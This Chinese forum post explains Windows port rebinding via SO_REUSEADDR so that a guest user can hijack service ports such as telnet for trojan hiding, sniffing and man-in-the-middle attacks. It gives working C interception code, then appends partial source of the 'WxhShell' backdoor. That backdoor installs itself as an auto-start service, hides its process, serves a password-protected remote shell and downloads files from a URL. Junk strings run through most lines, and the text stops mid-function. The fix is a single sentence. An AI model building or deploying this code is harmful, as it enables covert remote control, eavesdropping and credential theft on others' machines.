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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w j !YYBH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wW EnAW~  
 Gf_Je   
  saddr.sin_family = AF_INET; OyH>N/  
mE=%+:o.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NX%"_W/W  
 `fMdO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q4=Gj`\43  
\e+h">`WgX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2n+tc  
WVyk?SBw  
  这意味着什么?意味着可以进行如下的攻击: ##!idcC  
~ES6Qw`Oe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~8:q-m_h  
xl2;DFiYt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0h/bC)z  
^%ZbjJ7|j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .3>`yL  
hhWIwR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WN#S%G:Q)  
Cq8.^=}_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H j [!F%  
7}#zF]vHNi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RK )1@Tz7!  
!=Scpo_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AS4mJ UU9  
&~=FX e0S  
  #include BK 3oNDy  
  #include Br4[hUV/  
  #include 8=!uQQ  
  #include    \MqOHM.[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sg`   
  int main() ba-4V8w  
  { \!LIqqX  
  WORD wVersionRequested; H46N!{<;@  
  DWORD ret; }TQa<;Q  
  WSADATA wsaData; w.VjGPp  
  BOOL val; hk+8s\%-  
  SOCKADDR_IN saddr; iX%9$Bft<  
  SOCKADDR_IN scaddr; CKI.\o  
  int err; x" lcE@(  
  SOCKET s; [s4|+  
  SOCKET sc; IJ]rVty  
  int caddsize; r[g  
  HANDLE mt; Ie4\d2tQ;  
  DWORD tid;   7F2 WmMS  
  wVersionRequested = MAKEWORD( 2, 2 ); 5o6X.sC8e  
  err = WSAStartup( wVersionRequested, &wsaData ); +Tt.5>N  
  if ( err != 0 ) { GJ5R <f9I  
  printf("error!WSAStartup failed!\n"); UpaF>,kM  
  return -1; po\(O8#5U  
  } Um^4[rl:#g  
  saddr.sin_family = AF_INET; (/7b8)g  
    8 X Qo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [*C%u_h  
NX4G;+6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); / 3eGt7x#  
  saddr.sin_port = htons(23); f$76p!pDa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &@K6;T  
  { qv^P  
  printf("error!socket failed!\n"); oN2#Jh%dH  
  return -1; ,eGguNA9  
  } EXMW,  
  val = TRUE; Mz6\T'rC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |LW5dtQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E.%V 0}  
  { R_D&"&   
  printf("error!setsockopt failed!\n");  !2kM  
  return -1; 0K'{w]Q  
  }  ZC]|s[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #{*5rKiL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3! #|hI>f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |8pSMgN  
!Q WNHL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -AD@wn!wCJ  
  { n }b{u@$  
  ret=GetLastError(); NE.h/+4  
  printf("error!bind failed!\n"); L3w.<h  
  return -1; |sI@m@  
  } E mg=,  
  listen(s,2); I{ Ip  
  while(1) w$IUm_~waa  
  { 4[i 3ckFT,  
  caddsize = sizeof(scaddr); L(bDk'zi  
  //接受连接请求 ;vneeW4|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gg.]\#3g  
  if(sc!=INVALID_SOCKET) sj4\lpZ3h  
  { ZJF"Yo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O&MH5^I  
  if(mt==NULL) FShUw+y  
  { &c 2Qa  
  printf("Thread Creat Failed!\n"); >|, <9z`D  
  break; +.&P$`;TZj  
  } <o9AjASv\,  
  } 3$xpZm60  
  CloseHandle(mt); Fm=jgt3wv8  
  } >-\^)z  
  closesocket(s); c&1_lI,tH  
  WSACleanup(); e,{k!BXU#'  
  return 0; *Lxt{z`9  
  }   { TI,|'>5[  
  DWORD WINAPI ClientThread(LPVOID lpParam) VXiU5n^  
  { =xDxX#3  
  SOCKET ss = (SOCKET)lpParam; g0"xG}d  
  SOCKET sc; gxmo 1  
  unsigned char buf[4096]; tH&eKM4G  
  SOCKADDR_IN saddr; akk*f+TD`  
  long num; gaQ E'qp>  
  DWORD val; G62;p#  
  DWORD ret; R(pQu! K4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'zav%}b]L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M*bsA/Z  
  saddr.sin_family = AF_INET; vs$h&o>|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qy"%%keV'T  
  saddr.sin_port = htons(23); Y@:l!4DI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GApvRR+Z  
  { 5Pq6X  
  printf("error!socket failed!\n"); N<@K(? '  
  return -1; @{#'y4\>  
  } @GD $KR9  
  val = 100; QnOs8%HS-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ip`1Wv_  
  { ~CHcbEWk)W  
  ret = GetLastError(); "9d Z z/{  
  return -1; jbq x7x  
  } 5FuV=Yuc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]hy@5Jyh  
  { 43y@9P0  
  ret = GetLastError(); *;McX  
  return -1; ~:k r;n2  
  } AcEz$wy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >r C*.  
  { c%O97J.5b  
  printf("error!socket connect failed!\n"); {X2uFw Gi  
  closesocket(sc); 5 (!FQ  
  closesocket(ss); FeS ,TQ4j  
  return -1; w0@XJH:P  
  } w2V:x[  
  while(1) f3n^Sw&Q(Q  
  { _-H,S)kI`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .b`8 +  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Cq7 uy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?D7zty+}^  
  num = recv(ss,buf,4096,0); h4itXJy52B  
  if(num>0) bC"h7$3  
  send(sc,buf,num,0); BMQ4i&kF|  
  else if(num==0) Nxl#]  
  break; tS\Db'C7  
  num = recv(sc,buf,4096,0); 4 ;)t\9cy_  
  if(num>0) ^8bc<c:P  
  send(ss,buf,num,0); %Qb}z@>fJk  
  else if(num==0) OAFxf,b  
  break; hP{+`\&<f  
  } ,4XOe,WQ  
  closesocket(ss); RTbV!I  
  closesocket(sc); b;*'j9ly  
  return 0 ; R>~I8k9mM  
  } Gg GjBt  
m5] a  
hT_Q_1,  
========================================================== e2G;_:  
-Vb5d!(  
下边附上一个代码,,WXhSHELL @*L-lx  
T*Ge67  
========================================================== R=48:XG3/K  
wpC .!T  
#include "stdafx.h" )+Z.J]$O-  
?-o_]!*v0/  
#include <stdio.h> {,6J*v"o  
#include <string.h> @].!}tz  
#include <windows.h> E@)'Z6r1  
#include <winsock2.h> U6wy^!_X9  
#include <winsvc.h> FqGMHM\J  
#include <urlmon.h> y=+OC1k\8  
HE_UHv  
#pragma comment (lib, "Ws2_32.lib") 0 |?N  
#pragma comment (lib, "urlmon.lib") 1 |) CQ  
=+?OsH v  
#define MAX_USER   100 // 最大客户端连接数 EB}~^ aY  
#define BUF_SOCK   200 // sock buffer 9C Ki$L  
#define KEY_BUFF   255 // 输入 buffer n"}*C|(k  
@x A^F%(  
#define REBOOT     0   // 重启 /zQx}U)TP  
#define SHUTDOWN   1   // 关机 P*%P"g  
sKs`gi2  
#define DEF_PORT   5000 // 监听端口 U7g,@/Qx  
3fX _XH1Q  
#define REG_LEN     16   // 注册表键长度 7B5b +  
#define SVC_LEN     80   // NT服务名长度 kD1Nq~h2  
r}Gku0Hu_E  
// 从dll定义API ypemp=+(r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pXBh^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e0ni  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ybK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UQYHR+  
<s|.2~  
// wxhshell配置信息 m#O; 1/P  
struct WSCFG { m]Qs BK  
  int ws_port;         // 监听端口 vd$>nJ"  
  char ws_passstr[REG_LEN]; // 口令 BNb_i H  
  int ws_autoins;       // 安装标记, 1=yes 0=no P\{s C6E  
  char ws_regname[REG_LEN]; // 注册表键名 SfrM|o  
  char ws_svcname[REG_LEN]; // 服务名 q|s:&&Wf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y@2"[fo3~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \h0+` ;Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4f ~q$Sf]<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w~pe?j_F$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vj8-[ww!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v^p* l0r6:  
EKN<KnU%  
}; 0(Z:QqpU$  
gVJh@]8)  
// default Wxhshell configuration /|h+,]< >  
struct WSCFG wscfg={DEF_PORT, RF -c`C  
    "xuhuanlingzhe", $3ZQ|X[|+  
    1, SJ;{  Hg  
    "Wxhshell", #}~?8/h!  
    "Wxhshell", >){}nlQf  
            "WxhShell Service", M)wNu  
    "Wrsky Windows CmdShell Service", r9b(d]  
    "Please Input Your Password: ", ? IlT[yMw  
  1, OS>%pgv  
  "http://www.wrsky.com/wxhshell.exe", 0HbCT3g.  
  "Wxhshell.exe" | "M1+(k7  
    }; L >hLYIW  
*&h]PhY  
// 消息定义模块 /S^>06{-+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fT?m~W^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]+w 27!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hM="9] i.  
char *msg_ws_ext="\n\rExit."; )MoHY   
char *msg_ws_end="\n\rQuit."; GN5*  
char *msg_ws_boot="\n\rReboot..."; )/OIzbA3#  
char *msg_ws_poff="\n\rShutdown..."; ^Mhh2v  
char *msg_ws_down="\n\rSave to "; ]ERAt^$0  
T0b/txS  
char *msg_ws_err="\n\rErr!"; **1=|aa:  
char *msg_ws_ok="\n\rOK!"; ~qTChCXP  
NQiu>Sg  
char ExeFile[MAX_PATH]; rF{,]U9`  
int nUser = 0; #BH]`A J  
HANDLE handles[MAX_USER]; !kh:zTP  
int OsIsNt; XGYsTquSe  
t)O]0) s  
SERVICE_STATUS       serviceStatus; YETGq-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ALInJ{X  
_ KyhX|  
// 函数声明 /%{CJ0Y  
int Install(void); ,#0#1k<Dm  
int Uninstall(void); 'fzJw  
int DownloadFile(char *sURL, SOCKET wsh); pk;S"cnk  
int Boot(int flag); mr]~(]B?r  
void HideProc(void); W55kR.X6M  
int GetOsVer(void); AnZy o a  
int Wxhshell(SOCKET wsl); !<X/_+G\  
void TalkWithClient(void *cs); o##!S6:A  
int CmdShell(SOCKET sock); 8`I,KkWg   
int StartFromService(void); =dWq B&  
int StartWxhshell(LPSTR lpCmdLine); Gsm.a  
_tQM<~Y]u\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ys7 Tq+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9%MgAik(  
oXVx9dZ  
// 数据结构和表定义 9sv#TT5V  
SERVICE_TABLE_ENTRY DispatchTable[] = gS|6,A9  
{ T/hz23nH  
{wscfg.ws_svcname, NTServiceMain}, .8[uEQ_L  
{NULL, NULL} YWk+}y}^d  
}; \t=#MzjR  
&$~irI  
// 自我安装 dtV7YPz4+  
int Install(void) 8@FgvWC  
{ tq*6]q8c>  
  char svExeFile[MAX_PATH]; PT4iy<  
  HKEY key; DTdqwe6pi  
  strcpy(svExeFile,ExeFile); diKl}V#u  
19Mu}.+;  
// 如果是win9x系统,修改注册表设为自启动 _@_EQ!=  
if(!OsIsNt) { -V'Y^Df  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gmiLjI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %T}*DC$&S  
  RegCloseKey(key); _]0<G8|Rv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fzN?X=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1V,DcolRY  
  RegCloseKey(key); =W gzj|Kr  
  return 0; 2LCOB&-Ww  
    } [[ll4|  
  } Y44[2 :m  
} *3fhVl=8^*  
else { p@d_Ru  
>5 2%^ ?  
// 如果是NT以上系统,安装为系统服务 ey n-bw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?lU(FK  
if (schSCManager!=0) aR)w~s\6  
{ '*G8;91u  
  SC_HANDLE schService = CreateService :=:m4UJb  
  ( 'sa>G  
  schSCManager, #9HX"<5  
  wscfg.ws_svcname, Q-yNw0V}F  
  wscfg.ws_svcdisp, 7T(&DOGZ  
  SERVICE_ALL_ACCESS, J(9{P/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K[Vj+qdyl  
  SERVICE_AUTO_START, .OlPVMFt  
  SERVICE_ERROR_NORMAL, ^ h2!u'IQ  
  svExeFile, p?4,YV|#  
  NULL, 8\+DSA  
  NULL, 4)p ID`  
  NULL, okO\A^F  
  NULL, sDBwD%sb  
  NULL C4 -y%W"P  
  ); x+[ATZ([  
  if (schService!=0) O;0VKNn['  
  { Zlrbd  
  CloseServiceHandle(schService); V \/Qik{h  
  CloseServiceHandle(schSCManager); 7ab'q&Y[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FRsp?i K)  
  strcat(svExeFile,wscfg.ws_svcname); fk\]wFj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NIp]n[ =.q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @c).&7  
  RegCloseKey(key); G\~?.s|^  
  return 0; eWr6@  
    } }-Jo9dNs  
  } /bLL!nD=^  
  CloseServiceHandle(schSCManager); p ^9o*k`u  
} 1E0!?kRK  
} \$gA2r  
xxld.j6  
return 1; `$3ktQ$  
} gJ>#HEkMB  
:`uu[^  
// 自我卸载 JkKbw&65  
int Uninstall(void) _v++NyZXx  
{ aq#F  
  HKEY key; d ]jF0Wx*  
?A-f_0<0  
if(!OsIsNt) { pwV~[+SS_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Zwhv+CP[  
  RegDeleteValue(key,wscfg.ws_regname); t$?#@8Yk  
  RegCloseKey(key); OLoo#HW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &kT!GU^n  
  RegDeleteValue(key,wscfg.ws_regname); ^oNcZK>  
  RegCloseKey(key); J|VDZ# c7  
  return 0;  i(V  
  } Y=y 0`?K  
} n(C M)(ozU  
} U~dqxR"Q  
else { <;cch6Z  
U8@P/Z9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1K'cT\aFm  
if (schSCManager!=0) 2-@t,T  
{ 12: Q`   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ac1(lD  
  if (schService!=0) U /xzl4m6  
  { YdUcO.V  
  if(DeleteService(schService)!=0) { _Ih"*~ r/&  
  CloseServiceHandle(schService); +>yspOEz  
  CloseServiceHandle(schSCManager); $4og{  
  return 0; ft0tRv(s:  
  } yh).1Q-D  
  CloseServiceHandle(schService); fJe5 i6`(  
  } C:f^&4 3  
  CloseServiceHandle(schSCManager); p4kK" \ln  
} ce719n$   
} "W_E!FP]r  
4ywtE}mp  
return 1; -iFFXESVX  
} dKL9}:oUa  
MYR\W*B'b  
// 从指定url下载文件 ]/AU_&  
int DownloadFile(char *sURL, SOCKET wsh) JV+Uy$P!  
{ -O?A"  
  HRESULT hr; \Rha7O  
char seps[]= "/"; gV*4{ d`  
char *token; 6F%6]n  
char *file; % 3fpIzm  
char myURL[MAX_PATH]; ^9YS dFH/  
char myFILE[MAX_PATH]; !~ j9Oc^  
Iv{iJoe;UH  
strcpy(myURL,sURL); auM1k]  
  token=strtok(myURL,seps); mM_gOd  
  while(token!=NULL) zB\ 8<97 C  
  { V P7LKfv  
    file=token; 5r;)Ppo  
  token=strtok(NULL,seps); [~;wCW,1  
  } {yi!vw  
&?gcnMg$,J  
GetCurrentDirectory(MAX_PATH,myFILE); 5cl^:Ua  
strcat(myFILE, "\\"); 'uwq^b_  
strcat(myFILE, file); |@?='E?h  
  send(wsh,myFILE,strlen(myFILE),0); ]*0t?'go'  
send(wsh,"...",3,0); TBHd)BhI.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tao9icl*`  
  if(hr==S_OK) x26 sH5  
return 0; sr~VvciIy  
else z3w;W{2Q;V  
return 1; DG3Mcf@5  
=E~_F>SD  
} 2m72PU<.  
bf\ Uq<&IJ  
// 系统电源模块 E>"SC\#7  
int Boot(int flag) N0ZD+  
{ Kke _?/fT  
  HANDLE hToken; V7+/|P_  
  TOKEN_PRIVILEGES tkp; O [=W%2I!i  
S:c lyx  
  if(OsIsNt) { va.Ve# N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,yi@?lc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "7?xaGh8  
    tkp.PrivilegeCount = 1; kioIyV\=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?1X7jn`,+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UG<<.1JL  
if(flag==REBOOT) { ldG$hk'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o K&G  
  return 0; 6p 14BruV  
} \<b42\a}  
else { Lf8{']3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CY)[{r  
  return 0; Xd&oERJj  
} z}p*";)A  
  } w/7vXz<  
  else { M/}i7oS]  
if(flag==REBOOT) { , w_C~XN$t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) McvLU+  
  return 0; J!zL)u|  
} C,{ Ekbg  
else { az Oib=3fz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m9Dg%\B  
  return 0; Vb~;"WABo  
} Z0Qh7xWve  
} ` h1>rP  
mS]soYTQ  
return 1; {d,^tG}  
} .O9Pn,:  
}cg 1CT5  
// win9x进程隐藏模块 $tebNi P  
void HideProc(void) cLMFC1=b  
{ =5h ,ZB2A  
RD*.n1N1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mzTM&@  
  if ( hKernel != NULL ) $`/F5R!  
  { x4@IK|CE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2>inyn)S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QWK\6  
    FreeLibrary(hKernel); jiLt *>I  
  } TK%MVLTK  
g0RfvR  
return; RSf*[2  
} })ic@ Mmd$  
|B@\Nf7  
// 获取操作系统版本 .BZ3>]F3<  
int GetOsVer(void) $C6O<A  
{ P.]O8r  
  OSVERSIONINFO winfo; 1$ {Cwb/F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4m/L5W:K  
  GetVersionEx(&winfo); #^< Rx{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5> =Ia@I   
  return 1; </7?puVR  
  else 4B@L<Rl{\  
  return 0; q,_ 1?A)  
} 1;y?!;FD  
{@<EVw  
// 客户端句柄模块 OYNPZRu  
int Wxhshell(SOCKET wsl) EX,)MU  
{ #5W-*?H  
  SOCKET wsh; !4!Y~7sI"\  
  struct sockaddr_in client; 8{J{)gF  
  DWORD myID; v8o{3wJ  
fk:oCPo  
  while(nUser<MAX_USER) 5oE!^bF?  
{ Wq]Lb:&{a  
  int nSize=sizeof(client); ih/MW_t=m=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F;_L/8Ov1  
  if(wsh==INVALID_SOCKET) return 1; 1t7S:IZ  
N6_<[`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7\1bq&a<  
if(handles[nUser]==0) /I3>u  
  closesocket(wsh); 4V0j1 k&'  
else J^ BC  
  nUser++; g{?]a'?  
  } f_GqJ7Gk]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rZv5>aEI  
2Aq%;=+*  
  return 0; AT4G]pT  
} []rg'9B2b  
s'|^6/  
// 关闭 socket rwUKg[ 1N  
void CloseIt(SOCKET wsh) Q>}*l|Ci  
{ ^}4=pkJ;s  
closesocket(wsh); L5tSS=  
nUser--; O7z -4r  
ExitThread(0); %XieKL  
} qm1;^j&y  
H%:~&_D  
// 客户端请求句柄 $pm5G} .  
void TalkWithClient(void *cs) _n;V iQMu  
{ t K+K lz  
n-7|{1U  
  SOCKET wsh=(SOCKET)cs; vpGeG  
  char pwd[SVC_LEN]; hDJ84$eVZ  
  char cmd[KEY_BUFF]; \Q+<G-Kb.  
char chr[1]; Htf|VpzMb  
int i,j; L-lDvc?5c  
b4$-?f?V  
  while (nUser < MAX_USER) { /M;A)z  
yI 6AafS~  
if(wscfg.ws_passstr) { "3"9sIZ(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jn_;  cN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Y! -]_ 5  
  //ZeroMemory(pwd,KEY_BUFF); [p+6HF  
      i=0; )(|+z'  
  while(i<SVC_LEN) { OJUH".o  
=*aun&  
  // 设置超时 b[3K:ot+  
  fd_set FdRead; /pvR-Id|6  
  struct timeval TimeOut; IZV D.1  
  FD_ZERO(&FdRead); W`KRaL0^  
  FD_SET(wsh,&FdRead); 1df }gG  
  TimeOut.tv_sec=8; gz6BfHQG  
  TimeOut.tv_usec=0; qP<wf=wY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z}v6!u|iZu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,>X +tEgR  
b_xn80O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v;!f  
  pwd=chr[0]; "?_r?~sJx  
  if(chr[0]==0xd || chr[0]==0xa) { zqd_^  
  pwd=0; VK7lm|J+  
  break; Knd2s~S  
  } f@:.bp8VB8  
  i++; Xi^#F;@sU  
    } ^cQTRO|  
$kc*~V~   
  // 如果是非法用户,关闭 socket Ygwej2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n*7Ytz3#'  
} Yv}V =O%  
hrLPy V:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UOi[#L@N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r-Nv<oH;  
#x) lN  
while(1) { &f2'cR  
Sb9O#$89  
  ZeroMemory(cmd,KEY_BUFF); =LP,+z  
S"*M9*8  
      // 自动支持客户端 telnet标准   /hx|KC&:e  
  j=0; 8SJi~gV  
  while(j<KEY_BUFF) { zOV.cI6fZz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (5-4`:1ux  
  cmd[j]=chr[0]; p>GTFXEi6  
  if(chr[0]==0xa || chr[0]==0xd) { :E$<!q  
  cmd[j]=0; FZUN*5`  
  break; STfcx] L  
  } 82mKI+9&"  
  j++; vMDX  
    } Sqt '}  
yXuc< m  
  // 下载文件 .Xq4QR .  
  if(strstr(cmd,"http://")) { 8&gr}r- 5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s>A!Egmo  
  if(DownloadFile(cmd,wsh)) ,};UD  W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dIQxU  
  else ~Ogtgr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > 4c7r~\k  
  } YlF<S49loC  
  else { }ZP;kM$g  
g$z9 (i+  
    switch(cmd[0]) { F4Jc7k2  
  QT!!KTf  
  // 帮助 e@Cv')]B  
  case '?': { 9:JFG{M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v,=[!=8!  
    break; ^rHG#^hA  
  } Myal3UF  
  // 安装 UJ}Xa&*H\  
  case 'i': { *5kQ6#l  
    if(Install()) gM0^k6bB8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 47GL[ofY  
    else T7wy{;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qIO<\Y l  
    break; nBVR)|+M  
    } dn"&j1@KY  
  // 卸载 2 /rDi  
  case 'r': { b1("(,r/`  
    if(Uninstall()) C( ay7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >z(AQ  
    else $& 0hpg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cz2guUu  
    break; ,wI$O8"!j  
    } /Ir|& <yB  
  // 显示 wxhshell 所在路径 * KDT0;/s  
  case 'p': { vP_V%5~yN  
    char svExeFile[MAX_PATH]; Hy?+p{{G  
    strcpy(svExeFile,"\n\r"); sSh=Idrx  
      strcat(svExeFile,ExeFile); H1FD|Q3  
        send(wsh,svExeFile,strlen(svExeFile),0); )Mtw9[  
    break; zoj3w|G  
    } T:/68b*H\:  
  // 重启 X_j=u1*5  
  case 'b': { FMuakCic5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g^CAT1}  
    if(Boot(REBOOT)) *=6,}rX"I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E(0(q#n  
    else { %LL*V|  
    closesocket(wsh); fnZaIV=H  
    ExitThread(0); ! uC`7a  
    } Kb<^Wdy4T  
    break; x vi&d1  
    } np>RxiB^  
  // 关机 SS4'yaQ  
  case 'd': { nA!Xb'y&  
